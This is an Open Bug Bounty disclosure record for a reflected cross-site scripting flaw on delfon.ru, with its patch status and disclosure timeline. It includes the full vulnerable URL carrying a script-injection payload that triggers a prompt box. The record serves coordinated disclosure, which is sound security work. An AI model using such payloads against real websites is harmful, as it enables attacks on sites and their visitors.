Lucene search

K
openbugbountyOmniGoochOBB:163439
HistoryJul 02, 2016 - 4:26 a.m.

delfon.ru XSS vulnerability

2016-07-0204:26:00
OmniGooch
www.openbugbounty.org
7
Vulnerable URL:
http://www.delfon.ru/sounds_mp3.php?action=view&id;=87008text=%3C/script%3E%3Cimg%20src=x%20onerror=prompt(/XSSPOSED/)%3E
Details:
Description Value
Patched: Yes, at 12.10.2016
Latest check for patch: 12.10.2016 00:22 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 4536034
VIP website status: No
Check delfon.ru SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 2 July, 2016 04:26 GMT
Generic security notifications sent to website owner 2 July, 2016 04:29 GMT
Vulnerability details disclosed by researcher 9 July, 2016 05:11 GMT
Vulnerability patched by the website owner 12 October, 2016 15:44 GMT